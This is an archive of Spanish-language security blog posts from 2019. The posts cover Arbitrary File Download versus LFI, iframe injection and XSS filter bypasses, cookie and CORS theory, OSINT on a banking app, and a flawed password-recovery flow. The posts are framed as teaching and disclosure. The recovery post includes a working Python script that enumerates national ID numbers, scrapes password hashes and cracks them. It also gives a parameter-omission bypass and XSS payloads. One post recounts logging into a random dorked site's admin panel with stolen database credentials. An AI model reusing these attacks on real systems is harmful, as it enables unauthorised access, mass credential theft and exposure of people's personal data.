viernes, 29 de marzo de 2019

Arbitrary File Download: el hermano menor del LFI.

¡Hola, muy buenas!

En esta ocasión les vengo a comentar sobre una vulnerabilidad a nivel web bastante frecuente, y a su vez, poco conocida. Se denomina Arbitrary File Download, y de ahora en más, AFD.

(fig 1. Arbitrary File Download).
A menudo es una vulnerabilidad que se confunde con la ya conocida Local File Inclusion, o LFI. Estás perdonado si alguna vez las confundiste, pues las similitudes que tiene son casi todas, a excepción de la metodología de trabajo. En esta entrada, me dispongo a intentar solventar todas las dudas que pueda existir sobre la diferencia de ambas vulnerabilidades.

Apéndice I: El código en PHP

Para entender más claramente las diferencias, analizaremos los códigos PHP vulnerables utilizados en ambas vulnerabilidades.

  1. <?php
  2. include($_GET['page']);
  3. // Otras funciones: include_once(), require(), require_once().
  4. ?>
(Código 1. Local File Inclusion).

Es posible combinar LFI con técnicas como Log poisoning, /proc/self/environ, phpinfo(), etc. para conseguir RCE en el servidor.


  1. <?php
  2. $file = $_GET['file'];
  3. header('Content-Type: application/octet-stream');
  4. header('Content-Disposition: attachment; filename="' .basename($file) .'"');
  5. header('Content-Length: ' . filesize($file));
  6. readfile($file);
  7. ?>
(Código 2. Arbitrary File Download).

El uso de readfile() es utilizado a lo largo de muchas páginas web para las secciones de "descarga de contenido". Esto significa que un único archivo php (llámese download.php) es el encargado de descargar los ficheros del servidor.

Apéndice II: Post-análisis del código

Luego de analizar ambos códigos, llegamos a la conclusión de que LFI permite incluir ficheros locales del servidor, y en cambio, AFD permite descargar esos ficheros.
La gran diferencia entre ambas vulnerabilidades, es que AFD no permite obtener RCE mediante técnicas como log poisoning o /proc/self/environ.

Si, muchos dirán "si es menos útil que LFI, ¿para qué la quiero?". LFI es una vulnerabilidad que poco a poco se hizo conocida y los desarrolladores tienen especial cuidado con ella. En cambio, AFD es una vulnerabilidad muy "precaría" aún, y es usual encontrarla en 7 de cada 10 sitios (vamos, que un sencillo dork en Google da toda la información).

Apéndice III: Usos de AFD

Sin menospreciar a AFD, a continuación daré una lista de usos posibles que se me han ocurrido. Todos ellos intentan garantizar conseguir una shell en el servidor victima.

  • Leer archivos de configuración MySQL. Si la página web cuenta con algún panel de administrador MySQL (phpMyAdmin, Adminer, phpLitleAdmin, etc.), es posible loguearse a dicho panel y subir un archivo a través de consultas MySQL.
  • Desde el mismo phpMyAdmin, listar los usuarios admin y sus contraseñas de un panel admin, así conseguir acceso a dicho panel, que tal vez contenga algún Unrestricted File Upload.
  • A veces, el servidor MySQL es remoto, pudiendo conectarse desde cualquier cliente MySQL. Por ejemplo, phpMyAdmin.co.
  • Leer archivos de sesión PHP. Alguna de esas sesiones, de seguro será admin.
  • Contraseñas admin hardcodeadas en el login. Es poco frecuente, pero sorprendente de cuantos programadores hardcodean las contraseñas.
  • Mucho más... Los límites son tu imaginación.
 

 Apéndice IV: Análisis final

En conclusión podemos decir que AFD tiene "más limitaciones" que LFI, pero a su vez es más frecuente, lo que lo convierte en una vulnerabilidad importante. Ambas técnicas necesitan ser combinadas con otras para conseguir un resultado útil.

Hago una pausa aquí para aclarar una cosilla. Si no lo han descubierto aún, LFI no permite leer el contenido de archivos PHP (al menos no es posible sin utilizar otra técnica, /proc/...), en cambio, AFD si permite leer el contenido de esos ficheros.

En esta parte de la entrada pensé en listar una serie de "soluciones" a esta vulnerabilidad, pero confío en la mente del lector perspicaz y ágil que logrará resolverlo por si mismo. Recuerdo una frase muy importante: Never trust the user input.

Apéndice V: Ejemplo práctico

Como toda buena entrada sobre hacking y vulnerabilidades, hay que finalizar poniendo en práctica lo recién aprendido. En este apéndice me centraré en conseguir acceso a una página web aleatoría (si, Google Dorking), utilizando AFD y en combinación de otras técnicas.

Evitaré sacar capturas de los pasos innecesarios, pero aún así los listaré:

  1. Conseguir leer el archivo "index.php", usualmente tiene mucha información útil. En este caso, tenía un require() a un archivo "mysql.inc.php"
(fig 2. Fichero mysql.inc.php).

Logré leer el fichero de conexión MySQL, el cual contaba con la información confidencial que requería. En este caso no vemos información sobre el servidor MySQL, por lo cual podemos deducir que se trata de un localhost.

Mi siguiente paso fue intentar conseguir algún tipo de panel MySQL, para darle uso a los datos recién conseguidos.








(fig 3. Ingreso phpMyAdmin).


Afortunadamente la página web contaba con un panel phpMyAdmin en un subdominio (phpmyadmin.domain.tld), siendo posible el ingreso con los datos anteriormente obtenidos.






(fig 4. Datos administrativos).

 Al buscar entre todas las tablas, llegué a la que me interesaba a mi. El siguiente paso era claro: obtener el URL del panel admin. Afortunadamente a muchos programadores se les da por dejarle como /admin, o simplemente dejarlo en robots.txt.


(fig 5. Panel administrativo).

 ¡Y voilà! Ya hemos accedido al panel administrativo. Si mis intenciones fuesen malas, buscaría algún uploader y subiría una shell, pero como prueba de concepto, creo que debería detenerme aquí.







  

Hasta aquí la entrada de hoy. Empezaré a publicar contenido más seguido.😁😁😁

Be happy and never (never) trust the user input ;-)
Nobody.

Pssst: Recuerda seguirme en Twitter :-): https://twitter.com/n0bodysec

lunes, 25 de marzo de 2019

Iframe Injection - De Phishing a XSS

Muy buenas a todos,

hoy quería explicar un fallo de seguridad que encontré hace unos días, y que posible explotación tendría esta vulnerabilidad. Yo he llamado a esta vulnerabilidad como "Iframe Injection", ya que no se si tenía ya un nombre antes.



Esta vulnerabilidad ocurre cuando puedes modificar el source de un iframe a tu antojo, pudiendo cargar un contenido de una página maliciosa. En la POC partiremos de una aplicación no vulnerable a XSS. Os voy a dejar el código vulnerable aquí.

  1. <html>
  2. <head>
  3. <title>Mensaje de ayuda</title>
  4. </head>
  5. <body>
  6. <h1>Este es el menu de ayuda</h1>
  7. <?php
  8.         $mensaje_ayuda = htmlentities($_GET['ayuda']);
  9.        
  10.         $errors = array("javascript");
  11.        
  12.         foreach($errors as $error) {
  13.         $res = strpos($mensaje_ayuda, $error);
  14.         if ($res !== false){
  15.                         header('location: error.html');
  16.                 }
  17.         }
  18.         echo '<iframe src="' . $mensaje_ayuda  . '"></iframe>';
  19. ?>
  20. <form method="GET" action="ayuda.php">
  21. <p>NUMERO DE AYUDA</p>
  22. <input name="ayuda">
  23. <button type="submit">ENVIAR</button>
  24. </form>
  25. </body>
  26. </html>

Como vemos lo que tenemos es una supuesta página de ayuda, dependiendo de la página que queramos ver se enviará por parámetro y lo introducirá dentro de un iframe, así quedaría un ejemplo legítimo.


El problema surge cuando la aplicación no controla que el contenido introducido en el iframe pertezca a su propio dominio, el ejemplo más típico sería introducir la URL de nuestra página maliciosa donde tendríamos alojado un phishing para que el usuario introdujera sus datos.


A partir de aquí se podrían enviar correos electrónicos de Phishing más sofisticados ya que la URL introducida tendría el dominio legítimo.

Bypasseando filtros con diferentes URIS

Ahora vamos a imaginar que para evitar esta vulnerabilidad el programador pone algunos filtros que "evitan" que podamos introducir sources externos al dominio.

¿Que formas tenemos de introducir URIs completas para poder jugar con los diferentes filtros que pueda crear un programador?

  1. $errors = array("javascript", "http");
  • Podemos introducir la URL con o sin http indiferentemente, el navegador de ambas formas no lo interpretará como nosotros queremos.
  1. $errors = array("javascript", "http", "//");
  • Podemos usar los símbolos "/" y "\" indistintamente y cuantas veces queramos, el único requisito es que sean mínimo dos.


  • En caso de que la aplicación tenga una regex que busque los símbolos "\" y "/" seguido de "dominio.int" podemos añadir los caráctares ":@" o tan solo "@" al inicio del dominio.

 Jugando con otras URIS

Además de "http" existen otros tipos de URIs con las que podemos jugar, aconsejo mirar aquí y ver si hay algo que pueda resultar interesante, yo voy a mostrar aquí un par de ideas.

  • Se podría abrir el correo electrónico con la URI mailto, encargada de enviar correos electrónicos de la siguiente forma: "mailto:correo@electronico?body=mensaje"

  • Se podría ejecutar código JavaScript gracias a la URI data, la cual simplemente responde con el contenido especificado en la propiar URI, podríamos hacerlo de la siguiente forma: data:text/html,<script>alert("XSS")</script> 


NOTA: Si se introduce JavaScript dentro del servidor Web malicioso no se podrá interactuar con el padre por las CORS, que es lo que nos interesa para poder robar cookies o realizar otros ataques, de esta forma el código si será ejecutado en el padre.
Para entender un poco mejor las CORS aconsejo leer este post https://www.whateversec.com/2019/03/jugando-con-xss-cookies-y-cors.html

Por hoy ya he terminado, podeis seguir jugando con tras URIs diferentes que seguro que sale algo interesante, para cualquier duda o búsqueda de más información podeis comentar.

También me podéis seguir en Twitter para ver nuevos Posts y así echarme de paso una manita.

Saluti.

Lah vulnerabilidadeh de cliente molan tela.

lunes, 18 de marzo de 2019

Jugando con XSS, Cookies y CORS

Muy buenas a todos,

el otro día estaba discutiendo con alguien como de peligrosa puede llegar a ser una XSS, a donde ese "alguien" argumentaba que en caso de ser una aplicación sin usuarios el riesgo de una XSS no será ninguno.

A esto tengo que decir que no es del todo cierto y voy a explicar por qué, este post será tan solo teórico para explicar algunos conceptos y entenderlos bien, pero no haré una prueba de concepto como suelo hacer para que podáis jugar.

El caso en el que me enfocaba yo para poder decir que una XSS en un lugar sin usuarios es el caso de que existan subdominios que si tuvieran usuarios (lo cual es algo muy común).



Para entender como podrías atacar a un subdominio a través de una XSS en el dominio principal hace falta saber en que consisten los siguientes dos valores de las cookies:

  • HTTPOnly: Este valor indica si JavaScript puede o no interactuar con una cookie, es el valor que indica si podremos hacer un robo de sesión a través de una XSS o no.
  • Domain: Este valor indica el domio de la cookie en cuestión. Cuando un subdomio crea una nueva cookie tiene la opción de hacerlo como "subdominio.dominio.int" o como ".dominio.int"
En el caso de que el el flag del dominio apunte a ".dominio.int", cualquier parte del dominio entero podría acceder a ella, de esta forma sería posible robarla en caso de tener el flag "HTTPOnly" desactivado con una XSS en una parte del dominio sin autenticación.

Además de esto existiría otro vector de ataque, este sería a través de peticiones "XMLHttpRequest" en AJAX.

Esto es una explotación ya conocida en las XSS, el ataque consistiría en obtener la respuesta de una petición, por ejemplo "modificarPerfil.html", obtener el token CSRF, y una vez con este enviar otra petición a "modificarPerfil.php" para poder evadir esta medida de seguridad.

Para evitar que esto se pudiera hacer desde un dominio malicioso se crearon las CORS, que son unas cabeceras del servidor que le dicen a tu navegador si el tratamiento de estas peticiones se debe o no hacer dependiendo de donde provenga esta petición.


En principio, si el servidor no indica nada no se podrán realizar estas peticiones (ya sea desde un dominio externo o un subdominio), la cuestión es que pueden estar implementadas varias cabeceras que indican desde donde se podrían realizar estas peticiones.

  • Access-Control-Allow-Origin: Indica desde que dominio se pueden realizar peticiones de tipo XMLHttpRequest.
  •  Access-Control-Allow-Credentials: Esta cabecera indica si se puede o no enviar las cookies a la hora de realizar estas peticiones.


Como veis es necesario que se especifique que se pueden realizar peticiones desde este dominio, sin embargo no es extraño encontrarse estas cabeceras, ya que al ser un dominio del que también se tiene control se trata como un dominio seguro.


Por hoy ya he terminado, ha sido una explicación un poco superficial pero espero que hayan quedado claros los conceptos, para cualquier duda o búsqueda de más información podeis comentar.

También me podéis seguir en Twitter para ver nuevos Posts y así echarme de paso una manita.

Saluti.

Ci no configurah vien lah cosah po te jaqueo.

lunes, 11 de febrero de 2019

La privacidad de los argentinos y el uso de "bancos online".

(fig 1. Ualá. Fuente: Google).
Hace unos años, más precisamente un 3 de octubre del 2017, inició la posibilidad para nosotros, los argentinos, de poder utilizar tarjetas de crédito prepagas, dándole la posibilidad a cualquier persona de tener una tarjeta de crédito controlada, sin necesidad de contar con movimientos bancarios previos.






La mayoría pensaría que se trata de una entidad bancaria física que quiere adueñarse de nuestro dinero, y nuestra información. Esto es erróneo, ya que en realidad es una entidad online que quiere quedarse con nuestro dinero e información personal.

Las nuevas tecnologías nos facilitan la vida, aún más si se trata de IoT o cualquier accesibilidad a través de Internet, dándonos la posibilidad de realizar cualquier cosa, en cualquier lado. Por otro lado, cualquier tecnología en línea es vulnerable, y de eso se trata esta entrada.

Concretamente hablo de Ualá. Al ser una entidad bancaria, Ualá requiere datos reales para funcionar (¿dónde te llegaría la tarjeta plástica? ¿a nombre de quién?).

(fig 2. Aplicación Ualá para móviles android. Fuente: Google).
En la mayoría de los hackeos, el primer paso, casi obligatorio, es "information gathering", el proceso por el cual se obtiene información del objetivo a hackear. Hace tiempo, recuerdo haber leído una entrada de Chema Alonso en su blog, sobre como es posible cruzar información de varias redes sociales para poder dar con el número de teléfono de una persona (vamos, que si Facebook censura los últimos cuatro números, y Twitter los cuatro primeros... ¿Se entiende?).

Ahora, gracias a esta nueva moda de las tarjetas de crédito online, es posible conseguir más detalles sobre una victima. Si hay algún lector argentino, estará de acuerdo conmigo con que la aplicación móvil cuenta con una función para buscar amigos.

¿Recuerdan lo que mencioné, sobre que Ualá requiere datos reales para funcionar? ¿Qué información podemos obtener de una persona, sólo sabiendo su número de teléfono?
(fig. 3. Aplicación Ualá, función de buscar amigos (imagen recortada). Fuente: Nobody).
¿Es importante saber el nombre completo de la persona? En mi querido país, Argentina, hay varias formas posibles de obtener información de una persona, tan solo sabiendo su nombre completo. Varías páginas online permiten obtener esa información. Un poquito de information crossing, cruzando información obtenida por Facebook, logré obtener su domicilio, que no mostraré por razones de privacidad.

Ahora, un poquito de ética de mi parte...
(fig 3. Respuesta por parte de Ualá. Fuente: Nobody).
¿"Gracias por tus sugerencias"? Me suena a que no piensan repararlo, ya que "no es un fallo", ¿no?

 Línea de tiempo:
sáb. 12 de enero, 20:50 - Reporte enviado a Ualá.
mié. 23 de enero, 17:13 - Respuesta por parte de Ualá.

Happy hacking and don't be evil (maybe a little bit).
Nobody.

martes, 22 de enero de 2019

¿Cúantos fallos de seguridad puede tener la funcionalidad de recuperar contraseña?

Muy buenas a todos,

para hoy tenía pensado hacer un nuevo Post sobre Responsible Disclosure, pero como envié un correo electrónico y me ignoraron de una manera muy fuerte, lo que voy a hacer es explicar como funcionan las vulnerabilidades (sin decir donde se encuentran, quien quiera que lo busque) para ver si a alguien le puede servir para aprender algo nuevo.





Además del correo electrónico también envie un MD por twitter, donde también me ignoraron, así que voy a publicar toda la información.




Una vez visto esto ya podemos empezar, lo primero que tengo que decir es que solo mire el proceso de recuperar contraseñas, pero imagino que el resto de la web será del estilo, parece ser un sitio bonito donde jugar.

Vamos a ir paso por paso porque hay mucho que abarcar, así que vamos a comenzar desde el principio, lo primero que podemos ver es una pantalla donde nos pide que introduzcamos el DNI para empezar el flujo de modificar contraseñas.


En caso de introducir un DNI que exista en la base de datos te lleva al siguiente paso, y en caso de introducir un DNI no existente te mantiene en la misma pantalla. Aquí podemos encontrar el primer error de seguridad (aunque no sea grave). Es posible enumerar a través de los DNIs todos los usuarios registrados en la aplicación dependiendo de la respuesta, yo para esto me hice un script en python que comprobando el tamaño de la respuesta detectaba si el usuario existe o no en la base de datos (más tarde mostraré el script ya que después le añadí nuevas funcionalidades).


Una vez en este punto podemos ir al siguiente paso introduciendo algún DNI que nos arroje el script de python.


Podemos ver que la forma de recuperar la contraseña es la típica pregunta de seguridad, esto es algo que no se debería usar en ningún caso por los siguientes motivos:

  • Estás indicando a un posible atacante por donde tiene que empezar a buscar para poder evadir esta medida de seguridad. 
  • Suele ser información poco privada y fácil de conseguir.
  • Los usuarios no suelen recordar que pusieron esta información como pregunta de seguridad, por lo que preguntando (a diferencia de una contraseña), no es difícil de que te de esa información.
  • En caso de no tener una forma de bloquear los ataques de fuerza bruta es fácil buscar una lista de respuestas posibles a esa pregunta.

En mi caso, como no conozco al usuario en cuestión, vamos a optar por el último punto, así que buscaremos una lista de colores en Google y lanzaremos un ataque de fuerza bruta. De la misma forma que con los colores se puede hacer con nombres de mascota, con el nombre del padre, o con cualquier pregunta que nos encontremos.


Una vez en este punto ya podríamos modificarle la contraseña al usuario y entrar en su perfil sin ningún problema.

La cuestión de todo esto es que la cosa no acaba aquí, está funcionalidad, además de ser vulnerable a fuerza bruta, se puede byppasear, ¿cómo hacemos esto?

Es bastante simple, en el funcionamiento normal de la aplicación la respuesta a la pregunta se envía por parámetro, y si la respuesta no es correcta te devuelve un mensaje de error, sin embargo, si no se envía este parámetro toma la respuesta como válida y nos deja seguir.

¿Por qué ocurre esto? mi suposición al estar programada en PHP la aplicación web es que tienen el siguiente código.

  1. <?php
  2. $respuesta = $_POST['respuesta'];
  3. $respuesta_correcta = "Respuesta correcta";
  4. if (strcmp($respuesta, $respuesta_correcta) != 1 || strcmp($respuesta, $respuesta_correcta) != -1) {
  5.         // Respuesta incorrecta
  6. }
  7. else{
  8.         // Respuesta correcta
  9. }
  10. ?>
Vamos a ver que está pasando aquí, la función "strcmp" en php, tiene dos respuestas diferentes dependiendo de los datos introducidos:
  • En caso de que ambos strings sean iguales el resultado será 0.
  • En caso de que los strings no sean iguales el resultado será 1 o -1 dependiendo de cual sea mayor.
Por lo tanto en principio ese código será correcto, ya que está comprobando que los dos Strings sean diferentes, pero ¿qué pas si no envío el parametro?

Bueno, la función haría algo así: "strcmp(NULL, $respuesta_correcta)", en este caso el resultado sería 3 o -3, por lo que el código lo tomará como si la respuesta fuera correcta y veríamos lo siguiente.


En este punto podríamos cambiarle la contraseña a quien nosotros quisieramos teniendo solo el DNI, además de poder ver los DNIs que están registrados en la aplicación, aunque esto es una pena, porque la cosa no se queda aquí.

Si le echamos un vistazo rápido a la respuesta HTML del servidor tras esta petición vemos, que además de devolver el nombre de usuario, también nos devuelve el hash MD5 que está almacenado en la base de datos.


Aquí tenemos el nombre de usuario, el hash en MD5 y la longitud de la contraseña, que nos dice que son entre 4 y 8 caracteres, esto hace que sea mucho más sencillo crackearlas, podemos hacer una prueba en crackstation.


Con todo esto preparé un script en python que generaba DNIs de forma aleatoria, comprobaba que existieran y en caso de que existieran parseaba el usuario y el hash, crackeaba este hash a través de una base de datos online e imprimía toda esta información.

  
El script que preparé (se que es muy chustero) es este.

  1. #!/usr/bin/python
  2. # -*- coding: UTF-8 -*-
  3. import json
  4. from random import randint
  5. import requests
  6. import urllib3
  7. from html.parser import HTMLParser
  8. from bs4 import BeautifulSoup as BSoup
  9. import sys
  10. urllib3.disable_warnings()
  11. # Crackea un hash
  12. def decrypt(hash):
  13.         content = requests.get('https://md5.gromweb.com/?md5=' + hash)
  14.         soup = BSoup(content.text, "html.parser")
  15.         hashresult = soup.find('em', attrs={'class': 'long-content string'})
  16.         if hashresult:
  17.                 return hashresult.text
  18. # Parsea la respuesta y obtiene Hash
  19. class MyHTMLParser(HTMLParser):
  20.         def handle_starttag(self, tag, attrs):
  21.                 for attr in attrs:
  22.                         if attr[0] == "value":
  23.                                 if len(attr[1]) == 32:
  24.                                         hash1 = attr[1]
  25.                                         if decrypt(hash1):
  26.                                                 print "Password: " + decrypt(hash1)
  27.                                                 f.write(" - Password: " + decrypt(hash1))
  28.                                         else:
  29.                                                 print "Hash: " + attr[1]
  30.                                                 f.write(" - Hash: " + attr[1])
  31.                                 if len(attr[1]) != 32:
  32.                                         print "Usuario: " + attr[1]
  33.                                         f.write(" - Usuario: " + attr[1] + "\n")
  34. URL = "https://ws035.dominio.es"
  35. path = "/bolsa/http/olvidoclave3.php"
  36. header = {"Content-Type": "application/x-www-form-urlencoded"}
  37. usuarios = 0
  38. prueba = 1
  39. f = open("DNIs.txt", "a")
  40. # Pregunta cuantos usuarios se desean obtener
  41. numUsuarios = raw_input("¿Cuantos usuarios quieres sacar? ")
  42. if int(numUsuarios) == 1:
  43.         numeroDNI = raw_input("Introducir numero de DNI ")
  44. while usuarios < int(numUsuarios):
  45.         # Genera un DNI aleatorio
  46.         numero = randint(10000000, 99999999)
  47.         if int(numUsuarios) == 1:
  48.                 numero = int(numeroDNI)
  49.         intnumero = int(numero)
  50.         letra1 = "TRWAGMYFPDXBNJZSQVHLCKET"
  51.         resto = intnumero%23
  52.         letra = letra1[resto]
  53.         # Prepara la informacion que se enviara por el metodo POST
  54.         data = "documento=" + str(intnumero) + "&tipo_documento=+&letra=" + letra + "&test=test"
  55.         # Realiza la peticion
  56.         try:
  57.                 resp = requests.post(URL+path, data=data, verify=False, timeout=3, headers=header)
  58.                 tamano = int(resp.headers["Content-Length"])
  59.         except requests.exceptions.ReadTimeout:
  60.                 tamano = 7000
  61.         # Comprueba si existe o no el usuario
  62.         if tamano < 6000 and tamano > 5000:
  63.                 print "DNI encontrado: " + str(numero) + letra
  64.                 f.write("DNI encontrado: " + str(numero) + letra)
  65.                 parser = MyHTMLParser()
  66.                 parser.feed(resp.content)
  67.                 usuarios = usuarios + 1
  68.         else:
  69.                 print "Intento numero: " + str(prueba) + " - Usuarios encontrados: " + str(usuarios)
  70.                 prueba = prueba + 1
  71. f.close()

 Por último, y ya de verdad prometo que acabo, todos los parámetros eran vulnerables a XSS, el payload que usé fue este:

"><script>alert(document.domain)</script>


Ya hemos acabado por hoy, espero que os haya resultado interesante el post.

Saluti.

 Ia e perdio la cuenta de cuantas vulneravilidades tenia

==============================================

A raiz de este post se pusieron en contacto conmigo para arreglar las vulnerabilidades y disculparse por no responder en el primer reporte.

Actualmente la página se encuentra en reparación y no se puede acceder. Alegra que se hagan las cosas bien.